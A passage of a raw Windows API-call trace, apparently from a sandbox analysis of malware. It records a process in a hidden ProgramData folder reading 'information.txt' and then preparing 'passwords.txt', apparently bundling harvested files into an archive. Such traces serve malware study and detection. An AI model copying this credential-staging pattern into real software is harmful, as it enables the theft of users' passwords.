lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\information.txt", cchWideChar=63, lpMultiByteStr=0x32ba300, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\information.txt", lpUsedDefaultChar=0x0) returned 63 [0149.341] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba780 [0149.341] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x2360000) returned 1 [0149.341] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.341] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366818 [0149.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2366818, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.341] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366818 | out: hHeap=0x2360000) returned 1 [0149.341] PathMatchSpecW (pszFile="information.txt", pszSpec="*.*") returned 1 [0149.341] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.342] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x3340f78 [0149.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\information.txt", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0149.342] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3f) returned 0x32ba300 [0149.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\information.txt", cchWideChar=63, lpMultiByteStr=0x32ba300, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\information.txt", lpUsedDefaultChar=0x0) returned 63 [0149.342] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba5d0 [0149.342] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x2360000) returned 1 [0149.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\information.txt", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0149.342] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x11) returned 0x3340d40 [0149.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\information.txt", cchWideChar=17, lpMultiByteStr=0x3340d40, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\information.txt", lpUsedDefaultChar=0x0) returned 17 [0149.342] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340448 [0149.342] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d40 | out: hHeap=0x2360000) returned 1 [0149.342] GetLastError () returned 0x5 [0149.342] SetLastError (dwErrCode=0x5) [0149.342] GetLastError () returned 0x5 [0149.342] SetLastError (dwErrCode=0x5) [0149.342] GetLastError () returned 0x5 [0149.342] SetLastError (dwErrCode=0x5) [0149.342] GetLastError () returned 0x5 [0149.343] SetLastError (dwErrCode=0x5) [0149.343] GetLastError () returned 0x5 [0149.343] SetLastError (dwErrCode=0x5) [0149.343] GetLastError () returned 0x5 [0149.343] SetLastError (dwErrCode=0x5) [0149.343] GetLastError () returned 0x5 [0149.343] SetLastError (dwErrCode=0x5) [0149.343] GetLastError () returned 0x5 [0149.343] SetLastError (dwErrCode=0x5) [0149.343] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\information.txt" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\information.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0149.343] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe9 [0149.343] GetFileInformationByHandle (in: hFile=0x4dc, lpFileInformation=0x19e8c8 | out: lpFileInformation=0x19e8c8) returned 1 [0149.344] GetFileSize (in: hFile=0x4dc, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1306 [0149.344] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.344] ReadFile (in: hFile=0x4dc, lpBuffer=0x19e8a8, nNumberOfBytesToRead=0x2, lpNumberOfBytesRead=0x19e8ac, lpOverlapped=0x0 | out: lpBuffer=0x19e8a8*, lpNumberOfBytesRead=0x19e8ac*=0x2, lpOverlapped=0x0) returned 1 [0149.344] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=36, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24 [0149.344] ReadFile (in: hFile=0x4dc, lpBuffer=0x19e8b4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x19e8ac, lpOverlapped=0x0 | out: lpBuffer=0x19e8b4*, lpNumberOfBytesRead=0x19e8ac*=0x4, lpOverlapped=0x0) returned 1 [0149.344] FileTimeToSystemTime (in: lpFileTime=0x19e888, lpSystemTime=0x19e870 | out: lpSystemTime=0x19e870) returned 1 [0149.344] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.367] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e95f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e95f*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0149.367] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e95f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e95f*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0149.367] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0149.367] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0149.367] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0149.368] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0149.368] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0149.368] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0149.368] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0149.368] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0149.368] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0149.368] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0149.369] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0149.369] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0149.369] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0149.369] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0149.369] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0149.369] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0149.369] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0149.370] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0149.370] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0149.370] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0149.370] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0149.370] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0149.370] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0149.370] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0149.371] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0149.371] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0149.371] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0149.371] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0149.371] WriteFile (in: hFile=0x2f8, lpBuffer=0x19eae0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19eae0*, lpNumberOfBytesWritten=0x19e93c*=0x10, lpOverlapped=0x0) returned 1 [0149.371] WriteFile (in: hFile=0x2f8, lpBuffer=0x19ecf8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19ecf8*, lpNumberOfBytesWritten=0x19e93c*=0x11, lpOverlapped=0x0) returned 1 [0149.372] GetDesktopWindow () returned 0x10010 [0149.372] GetTickCount () returned 0x15b6123 [0149.372] GetLastError () returned 0x0 [0149.372] SetLastError (dwErrCode=0x0) [0149.372] GetLastError () returned 0x0 [0149.372] SetLastError (dwErrCode=0x0) [0149.372] GetLastError () returned 0x0 [0149.372] SetLastError (dwErrCode=0x0) [0149.372] ReadFile (in: hFile=0x4dc, lpBuffer=0x32da998, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x32da998*, lpNumberOfBytesRead=0x19e924*=0x1306, lpOverlapped=0x0) returned 1 [0149.375] ReadFile (in: hFile=0x4dc, lpBuffer=0x32dbc9e, nNumberOfBytesToRead=0xecfa, lpNumberOfBytesRead=0x19e904, lpOverlapped=0x0 | out: lpBuffer=0x32dbc9e*, lpNumberOfBytesRead=0x19e904*=0x0, lpOverlapped=0x0) returned 1 [0149.375] WriteFile (in: hFile=0x2f8, lpBuffer=0x32bba1c*, nNumberOfBytesToWrite=0x70d, lpNumberOfBytesWritten=0x19e8f0, lpOverlapped=0x0 | out: lpBuffer=0x32bba1c*, lpNumberOfBytesWritten=0x19e8f0*=0x70d, lpOverlapped=0x0) returned 1 [0149.376] CloseHandle (hObject=0x4dc) returned 1 [0149.376] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=233, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe9 [0149.376] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e95f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e95f*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0149.376] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e95f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e95f*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0149.377] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0149.377] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0149.377] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0149.377] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0149.377] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0149.377] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0149.377] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0149.377] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0149.378] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0149.378] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0149.378] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0149.378] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0149.378] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0149.378] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e918, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e918*=0x1, lpOverlapped=0x0) returned 1 [0149.378] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e90c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e90c*=0x1, lpOverlapped=0x0) returned 1 [0149.378] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e900, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e900*=0x1, lpOverlapped=0x0) returned 1 [0149.379] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e93c, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e93c*=0x1, lpOverlapped=0x0) returned 1 [0149.379] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e930, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e930*=0x1, lpOverlapped=0x0) returned 1 [0149.379] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e968*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e924, lpOverlapped=0x0 | out: lpBuffer=0x19e968*, lpNumberOfBytesWritten=0x19e924*=0x1, lpOverlapped=0x0) returned 1 [0149.387] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" [0149.387] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\" [0149.387] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\", lpString2="passwords.txt" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\passwords.txt") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\passwords.txt" [0149.387] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0149.387] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0149.387] lstrcatW (in: lpString1="\\", lpString2="passwords.txt" | out: lpString1="\\passwords.txt") returned="\\passwords.txt" [0149.387] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\passwords.txt", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0149.388] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3d) returned 0x32ba228 [0149.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\passwords.txt", cchWideChar=61, lpMultiByteStr=0x32ba228, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\passwords.txt", lpUsedDefaultChar=0x0) returned 61 [0149.388] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba468 [0149.388] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba228 | out: hHeap=0x2360000) returned 1 [0149.388] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.388] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366828 [0149.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2366828, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.388] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366828 | out: hHeap=0x2360000) returned 1 [0149.388] PathMatchSpecW (pszFile="passwords.txt", pszSpec="*.*") returned 1 [0149.388] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.388] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406a0 [0149.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\passwords.txt", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0149.389] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3d) returned 0x32ba858 [0149.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\passwords.txt", cchWideChar=61, lpMultiByteStr=0x32ba858, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\passwords.txt", lpUsedDefaultChar=0x0) returned 61 [0149.389] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba4b0 [0149.389] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba858 | out: hHeap=0x2360000) returned 1 [0149.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\passwords.txt", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.389] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xf) returned 0x236ac00 [0149.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\passwords.txt", cchWideChar=15, lpMultiByteStr=0x236ac00, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\passwords.txt", lpUsedDefaultChar=0x0) returned 15 [0149.389] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac00 | out: hHeap=0x2360000) returned 1 [0149.390] GetDesktopWindow () returned 0x10010 [0149.390] GetTickCount () returned 0x15b6133 [0149.392] lstrcpyW (in: 